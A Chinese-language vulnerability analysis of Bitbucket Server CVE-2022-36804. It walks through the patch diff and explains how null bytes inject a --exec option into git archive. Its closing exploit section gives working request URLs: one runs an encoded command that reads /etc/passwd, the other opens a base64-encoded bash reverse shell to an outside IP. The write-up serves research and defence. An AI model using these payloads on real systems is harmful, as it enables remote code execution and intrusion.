Critical severity command injection vulnerability - CVE-2022-36804

官方通告:https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html

准备diff下8.3.0 - 8.3.1,顺便熟悉下idea diff jar包的流程:

分析patch,发现了两处可疑的点:

patch#1

found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class

the patch#1 is like:

 this.ensureNoNullCharacters(commands);

新加了一个方法ensureNoNullCharacters

  • command.indexOf(0),查找command里面有没有\u0000这个字符
  • 如果有,就直接抛异常,Commands may not contain null characters,poc里面可加下这个提示值
private void ensureNoNullCharacters(List<String> commands) {
    Iterator var2 = commands.iterator();

    String command;
    do {
        if (!var2.hasNext()) {
            return;
        }

        command = (String)var2.next();
    } while(command.indexOf(0) < 0);

    throw new IllegalArgumentException("Commands may not contain null characters");
}

全量补丁在下面:


public class NuProcessBuilder {
    private static final NuProcessFactory factory;
    private final List<String> command;
    private final TreeMap<String, String> environment;
    private Path cwd;
    private NuProcessHandler processListener;

    public NuProcessBuilder(List<String> commands, Map<String, String> environment) {
        if (commands != null && !commands.isEmpty()) {
            this.ensureNoNullCharacters(commands);	//patch
            this.environment = new TreeMap(environment);
            this.command = new ArrayList(commands);
        } else {
            throw new IllegalArgumentException("List of commands may not be null or empty");
        }
    }

    public NuProcessBuilder(List<String> commands) {
        if (commands != null && !commands.isEmpty()) {
            this.ensureNoNullCharacters(commands);	//patch
            this.environment = new TreeMap(System.getenv());
            this.command = new ArrayList(commands);
        } else {
            throw new IllegalArgumentException("List of commands may not be null or empty");
        }
    }

    public NuProcessBuilder(String... commands) {
        if (commands != null && commands.length != 0) {
            List<String> commandsList = Arrays.asList(commands);	//patch
            this.ensureNoNullCharacters(commandsList);	//patch
            this.environment = new TreeMap(System.getenv());
            this.command = new ArrayList(commandsList);
        } else {
            throw new IllegalArgumentException("List of commands may not be null or empty");
        }
    }

patch#2

another patch is at bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-process-8.3.1.jar

增加了调用

  addIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, value);

全文是


    private static boolean nonNullAndNoNullChar(String value) {
        if (value == null) {
            return false;
        } else {
            requireNoNullChars(value);
            return true;
        }
    }

    private static void requireNoNullChars(String value) {
        if (value.indexOf(0) >= 0) {
            throw new IllegalArgumentException("Unsupported \\0 character detected: " + value);
        }
    }

    private static String requireNonBlankAndNoNullChar(String value, String msg) {
        requireNonBlank(value, msg);
        requireNoNullChars(value);
        return value;
    }

Also, for those who’s not familiar with NuProcessBuilder, check: https://github.com/brettwooldridge/NuProcess

NuProcess是开源的代码,便于在不同操作系统下面执行命令,bitbucket用的是atlanssian自己魔改了的版本

public class NuProcessBuilder {
	//...
  static {
        String factoryClassName = null;
        String osname = System.getProperty("os.name").toLowerCase();
        if (!osname.contains("mac") && !osname.contains("freebsd")) {
            if (osname.contains("win")) {
                factoryClassName = "com.zaxxer.nuprocess.windows.WinProcessFactory";
            } else if (osname.contains("linux")) {
                factoryClassName = "com.zaxxer.nuprocess.linux.LinProcessFactory";
            } else if (osname.contains("sunos")) {
                factoryClassName = "com.zaxxer.nuprocess.solaris.SolProcessFactory";
            }
        } else {
            factoryClassName = "com.zaxxer.nuprocess.osx.OsxProcessFactory";
        }

        if (factoryClassName == null) {
            throw new RuntimeException("Unsupported operating system: " + osname);
        } else {
            try {
                Class<?> forName = Class.forName(factoryClassName);
                factory = (NuProcessFactory)forName.newInstance();
            } catch (Exception var3) {
                throw new RuntimeException(var3);
            }
        }
    }

再往下跟,最终定位到NuProcess,绿色部分是补丁新增的内容

分析1

After analysing the old version of nuprocess, it turns out to be functional updates, not security patch.

一开始分析atlanssian家魔改的nuprocess,以为是有安全加固,结果只是feature的更新。

分析相关代码,关键字NuProcess, 发现

atlassian-bitbucket-8.3.0-x64/app/WEB-INF/classes/stash-context.xml

NuNioProcess

NioProcess


NioNuProcessHandler
	exitHandler
	commandLine

NioProcessParameters
	nonNullAndNoNullChar
	this.arguments


# install

漏洞可能是利用\u0000来进行某些bypass操作,命令注入,Null Byte Injection

2022年9月16日,看了安全客上的分析文章<https://www.anquanke.com/post/id/280193>

思路对了,只是差一些。

  • bitbucket基于Java开发,底层调用了git命令,分隔符就是null byte(0x00)
  • Null byte可以注入的字符,注入恶意参数。

官方披露的漏洞效果是仅在有只读权限情况下可以进行命令执行,通过枚举应用所有只读权限情况下可以构造的 git 指令,找到一处进行参数注入,构造恶意 url 访问即可造成任意命令执行。

参数注入

测试了相关payload,发现并不会被我的断点断下来,费解。

分析2:

应该是滥用的archive模块(https://git-scm.com/docs/git-archive),因为在git的源代码里面,只有archive有remote参数

分析猜想

8.3.0-8.3.1的升级内容里,主要涉及到两个文件:

  • bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar
    • 原本开源在gituhb, atlassian开发组对其进行了二次开发
  • bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-process-8.3.0.jar
    • 基本上就是封装了一些执行命令的函数(如果有调用到此处的函数, 很可能存在风险)
    • 但是全局没有找到调用链,只有一个bean id,不知如何触发

补丁分析

(1)在bitbucket-process-8.3.0.jar中, 有这两处补丁

addIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, value);

函数的定义在下面, 就是检测了\u0000——检测NULL时为啥呢?


    private static boolean nonNullAndNoNullChar(String value) {
        if (value == null) {
            return false;
        } else {
            requireNoNullChars(value);
            return true;
        }
    }

    private static void requireNoNullChars(String value) {
        if (value.indexOf(0) >= 0) {
            throw new IllegalArgumentException("Unsupported \\0 character detected: " + value);
        }
    }

    private static String requireNonBlankAndNoNullChar(String value, String msg) {
        requireNonBlank(value, msg);
        requireNoNullChars(value);
        return value;
    }

(2)nuprocess-2.0.2-atlassian-3.jar的补丁

增加了ensureNoNullCharacters校验,

public class NuProcessBuilder {
    private static final NuProcessFactory factory;
    private final List<String> command;
    private final TreeMap<String, String> environment;
    private Path cwd;
    private NuProcessHandler processListener;

    public NuProcessBuilder(List<String> commands, Map<String, String> environment) {
        if (commands != null && !commands.isEmpty()) {
            this.ensureNoNullCharacters(commands);	//patch
            this.environment = new TreeMap(environment);
            this.command = new ArrayList(commands);
        } else {
            throw new IllegalArgumentException("List of commands may not be null or empty");
        }
    }

    public NuProcessBuilder(List<String> commands) {
        if (commands != null && !commands.isEmpty()) {
            this.ensureNoNullCharacters(commands);	//patch
            this.environment = new TreeMap(System.getenv());
            this.command = new ArrayList(commands);
        } else {
            throw new IllegalArgumentException("List of commands may not be null or empty");
        }
    }

    public NuProcessBuilder(String... commands) {
        if (commands != null && commands.length != 0) {
            List<String> commandsList = Arrays.asList(commands);	//patch
            this.ensureNoNullCharacters(commandsList);	//patch
            this.environment = new TreeMap(System.getenv());
            this.command = new ArrayList(commandsList);
        } else {
            throw new IllegalArgumentException("List of commands may not be null or empty");
        }
    }

函数的作用,依然是在校验不能有NULL字符。

private void ensureNoNullCharacters(List<String> commands) {
    Iterator var2 = commands.iterator();

    String command;
    do {
        if (!var2.hasNext()) {
            return;
        }

        command = (String)var2.next();
    } while(command.indexOf(0) < 0);

    throw new IllegalArgumentException("Commands may not contain null characters");
}

所以,为啥要对NULL字符进行重重校验?

初步猜测,攻击者通过某种方式调用了命令执行函数,手法可能有:

  • 任意对象实例化(类似Spring-Core反序列,更改了某些重要变量;但历史上只有7995端口出过反序列,HTTP端口没有)
  • 某些冷门Feature,例如scm那一堆旧的功能,我未跟进,不过看历史文章,可能会有搞头。

再通过NULL字节绕过了某些限制??天马行空起来。。

暂时

  • 没有找到命令执行处的调用点

画板

事后诸葛亮

在分析安全客的文章无果之后,终于等到github出了真正PoC(https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py)。

我们来跟一跟漏洞的调用栈,分析一波原因。

首先搞明白,这是什么类型的漏洞?——参数注入。

:::color1 **git archive**命令中,利用空字符,注入**--exec**选项,从而执行任意命令。

:::

:::danger 为了完整地复现这个漏洞,首先要回答下面几个问题:

  • 为什么是%00?
  • 为什么只能注入选项,不能直接用&&、||等符号来命令注入?
  • 为什么是git archive?

:::

(1)为什么是%00

这个问题的一个反面是,为啥%00可以注入参数,但是常用的空格%20却不行。

在bash下测试,发现空字符在bash中会被忽略。

可见空字符并不是bash中默认的分隔符(delimiter)。

$ printf "cat\\x00/etc/passwd" |sh
sh: line 1: cat/etc/passwd: No such file or directory

那思路往回走,bitbucket后台是如何拼接git命令的呢?回头去看安全客的那篇文章,里面提到bitbucket拼接命令的关键函数:

import java.util.*;
import java.lang.*;
import java.util.ArrayList;
import java.util.Arrays;

public class check_null
{
    public static void main(String xyz[])
    {
        String[] stringArray = new String[]{"git", "archive", "Hello\u0000World!", "-- "};
        List<String> command = new ArrayList(Arrays.asList(stringArray));

        String[] cmdarray = (String[])command.toArray(new String[0]);
        byte[][] args = new byte[cmdarray.length - 1][];
        System.out.println( args );

        int size = args.length;

    // 取 git 命令数组参数,第0位之后,存储到 args[][]
        for(int i = 0; i < args.length; ++i) {
            args[i] = cmdarray[i + 1].getBytes();
            size += args[i].length;
        }

    // 最终存储参数的 byte数组 argBlock
        byte[] argBlock = new byte[size];
        int i = 0;
        byte[][] var9 = args;
        int var10 = args.length;

        for(int var11 = 0; var11 < var10; ++var11) {
            byte[] arg = var9[var11];
        // 使用 system.arraycopy 将 arg[][] 二维数组拷贝到 argBlock
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
        }

        System.out.println(args);
        System.out.println(argBlock);
    }
}

可以看出,输入的参数是一个命令数组,返回的是参数列表。经过它的处理,我们Hello\u0000World!里面的NUL字符,浑水摸鱼地加到了参数里面,示意图如下:

# 输入
{"git", "archive", "Hello\u0000World!", "-- "};  

# 输出
[a, r, c, h, i, v, e, <NUL>, H, e, l, l, o,  <NUL>, W, o, r, l, d, !, <NUL>, -, -,  , <NUL>]

==  {'archive', 'Hello', 'World!', '--' }

于是我们现在实现了参数注入。

(2)为什么不能命令注入,只能参数注入

同样的,command会解析成arg_list,参数列表,所以我们能够通过注入空字节,来增加参数。

但是并不能改变执行顺序,也不能通过增加逻辑运算符来命令注入、

常识:{"git", "--prefix=<INJECT>"},若<INJECT>可控,也不能注入其它的命令。因为此时执行命令的主体是git,而不是其它可执行文件。第二个参数的所有内容,都只会被视为是git命令的选项。

所以,我们没法直接用&&、||进行参数注入(改变执行逻辑/执行顺序),只能想办法加恶意的选项。

(3)为什么是git archive?

因为,git archive可以未授权访问,对应前台的下载功能。

archive有--exec选项,可以被滥用来执行命令。

EXP

https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py

# rce
http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?format=zip&&path=&prefix=test/%00--remote=''%00--exec=echo+'Y2F0IC9ldGMvcGFzc3dkCg=='+%7c+base64+-d++%7c+sh;%00


# 反弹shell
http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?format=zip&=&path=&prefix=test/%00--remote=''%00--exec=echo+'YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xMTEuMS80NDQ0IDA%2bJjEK'+%7c+base64+-d++%7c+sh;%00

注意:执行的命令并非完全回显,会被截断;视作无回显的RCE就行了

例如,执行cat /etc/passwd,只显示了root

Ref